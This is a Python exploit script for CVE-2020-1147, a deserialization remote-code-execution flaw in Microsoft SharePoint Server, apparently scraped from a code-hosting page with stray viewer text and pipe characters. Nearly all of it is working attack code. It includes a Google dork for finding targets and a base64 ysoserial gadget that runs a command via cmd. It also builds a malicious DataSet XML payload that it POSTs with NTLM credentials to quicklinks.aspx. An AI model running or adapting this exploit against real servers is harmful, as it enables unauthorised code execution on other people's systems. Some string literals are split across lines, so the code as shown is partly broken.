247 lines
No EOL
10 KiB
Python
Executable file
247 lines
No EOL
10 KiB
Python
Executable file
# Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution
|
|
# Google Dork: inurl:quicklinks.aspx
|
|
# Date: 2020-08-14
|
|
# Exploit Author: West Shepherd
|
|
# Vendor Homepage: https://www.microsoft.com
|
|
# Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service
|
|
# Pack 2, SharePoint Server 2019
|
|
# Tested on: Windows 2016
|
|
# CVE : CVE-2020-1147
|
|
# Credit goes to Steven Seele and Soroush Dalili
|
|
# Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
|
|
|
|
#!/usr/bin/python
|
|
from sys import argv, exit, stdout, stderr
|
|
import argparse
|
|
import requests
|
|
from bs4 import BeautifulSoup
|
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
from requests_ntlm import HttpNtlmAuth
|
|
from urllib import quote, unquote
|
|
import logging
|
|
|
|
|
|
class Exploit:
|
|
# To generate the gadget use:
|
|
# ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command"
|
|
# ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "command"
|
|
gadget = '/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=='
|
|
control_path_quicklinks = '/_layouts/15/quicklinks.aspx'
|
|
control_path_quicklinksdialogform = '/_layouts/15/quicklinksdialogform.aspx'
|
|
control_path = control_path_quicklinks
|
|
|
|
def __init__(
|
|
self,
|
|
redirect=False,
|
|
proxy_address='',
|
|
username='',
|
|
domain='',
|
|
password='',
|
|
target=''
|
|
):
|
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
self.username = '%s\\%s' % (domain, username)
|
|
self.target = target
|
|
self.password = password
|
|
self.session = requests.session()
|
|
self.redirect = redirect
|
|
self.timeout = 0.5
|
|
self.proxies = {
|
|
'http': 'http://%s' % proxy_address,
|
|
'https': 'http://%s' % proxy_address
|
|
} \
|
|
if proxy_address is not None \
|
|
and proxy_address != '' else {}
|
|
self.headers = {}
|
|
self.query_params = {
|
|
'Mode': "Suggestion"
|
|
}
|
|
self.form_values = {
|
|
'__viewstate': '',
|
|
'__SUGGESTIONSCACHE__': ''
|
|
}
|
|
self.cookies = {}
|
|
self.payload = """\
|
|
<DataSet>
|
|
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"
|
|
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
|
|
<xs:element name="somedataset" msdata:IsDataSet="true"
|
|
msdata:UseCurrentLocale="true">
|
|
<xs:complexType>
|
|
<xs:choice minOccurs="0" maxOccurs="unbounded">
|
|
<xs:element name="Exp_x0020_Table">
|
|
<xs:complexType>
|
|
<xs:sequence>
|
|
<xs:element name="pwn"
|
|
msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter,
|
|
System.Web, Version=4.0.0.0, Culture=neutral,
|
|
PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider,
|
|
PresentationFramework, Version=4.0.0.0, Culture=neutral,
|
|
PublicKeyToken=31bf3856ad364e35]], System.Data.Services,
|
|
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
|
|
type="xs:anyType" minOccurs="0"/>
|
|
</xs:sequence>
|
|
</xs:complexType>
|
|
</xs:element>
|
|
</xs:choice>
|
|
</xs:complexType>
|
|
</xs:element>
|
|
</xs:schema>
|
|
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"
|
|
xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
|
|
<somedataset>
|
|
<Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0"
|
|
diffgr:hasChanges="inserted">
|
|
<pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
|
<ExpandedElement/>
|
|
<ProjectedProperty0>
|
|
<MethodName>Deserialize</MethodName>
|
|
<MethodParameters>
|
|
<anyType
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
|
|
xsi:type="xsd:string">{GADGET}</anyType>
|
|
</MethodParameters>
|
|
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
|
|
</ProjectedProperty0>
|
|
</pwn>
|
|
</Exp_x0020_Table>
|
|
</somedataset>
|
|
</diffgr:diffgram>
|
|
</DataSet>""".replace('{GADGET}', self.gadget)
|
|
|
|
def do_get(self, url, params=None, data=None):
|
|
return self.session.get(
|
|
url=url,
|
|
verify=False,
|
|
allow_redirects=self.redirect,
|
|
headers=self.headers,
|
|
cookies=self.cookies,
|
|
proxies=self.proxies,
|
|
data=data,
|
|
params=params,
|
|
auth=HttpNtlmAuth(self.username, self.password)
|
|
)
|
|
|
|
def do_post(self, url, data=None, params=None):
|
|
return self.session.post(
|
|
url=url,
|
|
data=data,
|
|
verify=False,
|
|
allow_redirects=self.redirect,
|
|
headers=self.headers,
|
|
cookies=self.cookies,
|
|
proxies=self.proxies,
|
|
params=params,
|
|
auth=HttpNtlmAuth(self.username, self.password)
|
|
)
|
|
|
|
def parse_page(self, content):
|
|
soup = BeautifulSoup(content, 'lxml')
|
|
for key, val in self.form_values.iteritems():
|
|
try:
|
|
for tag in soup.select('input[name=%s]' % key):
|
|
try:
|
|
self.form_values[key] = tag['value']
|
|
except Exception as error:
|
|
stderr.write('error for key %s error %s\n' %
|
|
(key, str(error)))
|
|
except Exception as error:
|
|
stderr.write('error for selector %s error %s\n' %
|
|
(key, str(error)))
|
|
return self
|
|
|
|
def debug(self):
|
|
try:
|
|
import http.client as http_client
|
|
except ImportError:
|
|
import httplib as http_client
|
|
http_client.HTTPConnection.debuglevel = 1
|
|
logging.basicConfig()
|
|
logging.getLogger().setLevel(logging.DEBUG)
|
|
requests_log = logging.getLogger("requests.packages.urllib3")
|
|
requests_log.setLevel(logging.DEBUG)
|
|
requests_log.propagate = True
|
|
return self
|
|
|
|
def clean(self, payload):
|
|
payload = payload\
|
|
.replace('\n', '')\
|
|
.replace('\r', '')
|
|
while ' ' in payload:
|
|
payload = payload\
|
|
.replace(' ', ' ')
|
|
return payload
|
|
|
|
def get_form(self):
|
|
url = '%s%s' % (self.target, self.control_path)
|
|
resp = self.do_get(url=url, params=self.query_params)
|
|
self.parse_page(content=resp.content)
|
|
return resp
|
|
|
|
def send_payload(self):
|
|
url = '%s%s' % (self.target, self.control_path)
|
|
# self.get_form()
|
|
self.headers['Content-Type'] = 'application/x-www-form-urlencoded'
|
|
self.form_values['__SUGGESTIONSCACHE__'] = self.clean(self.payload)
|
|
self.form_values['__viewstate'] = ''
|
|
resp = self.do_post(url=url, params=self.query_params,
|
|
data=self.form_values)
|
|
return resp
|
|
|
|
|
|
if __name__ == '__main__':
|
|
parser = argparse.ArgumentParser(add_help=True,
|
|
description='CVE-2020-1147 SharePoint exploit')
|
|
try:
|
|
parser.add_argument('-target', action='store', help='Target
|
|
address: http(s)://target.com ')
|
|
parser.add_argument('-username', action='store', default='',
|
|
help='Username to use: first.last')
|
|
parser.add_argument('-domain', action='store', default='',
|
|
help='User domain to use: domain.local')
|
|
parser.add_argument('-password', action='store', default='',
|
|
help='Password to use: Summer2020')
|
|
parser.add_argument('-both', action='store', default=False,
|
|
help='Try both pages (quicklinks.aspx and quicklinksdialogform.aspx):
|
|
False')
|
|
parser.add_argument('-debug', action='store', default=False,
|
|
help='Enable debugging: False')
|
|
parser.add_argument('-proxy', action='store', default='',
|
|
help='Enable proxy: 10.10.10.10:8080')
|
|
|
|
if len(argv) == 1:
|
|
parser.print_help()
|
|
exit(1)
|
|
options = parser.parse_args()
|
|
|
|
exp = Exploit(
|
|
proxy_address=options.proxy,
|
|
username=options.username,
|
|
domain=options.domain,
|
|
password=options.password,
|
|
target=options.target
|
|
)
|
|
|
|
if options.debug:
|
|
exp.debug()
|
|
stdout.write('target %s username %s domain %s password %s
|
|
debug %s proxy %s\n' % (
|
|
options.target, options.username, options.domain,
|
|
options.password, options.debug, options.proxy
|
|
))
|
|
|
|
result = exp.send_payload()
|
|
stdout.write('Response: %d\n' % result.status_code)
|
|
if 'MicrosoftSharePointTeamServices' in result.headers:
|
|
stdout.write('Version: %s\n' %
|
|
result.headers['MicrosoftSharePointTeamServices'])
|
|
if options.both and result.status_code != 200:
|
|
exp.control_path = exp.control_path_quicklinksdialogform
|
|
stdout.write('Trying alternate page\n')
|
|
result = exp.send_payload()
|
|
stdout.write('Response: %d\n' % result.status_code)
|
|
|
|
except Exception as error:
|
|
stderr.write('error in main %s' % str(error)) |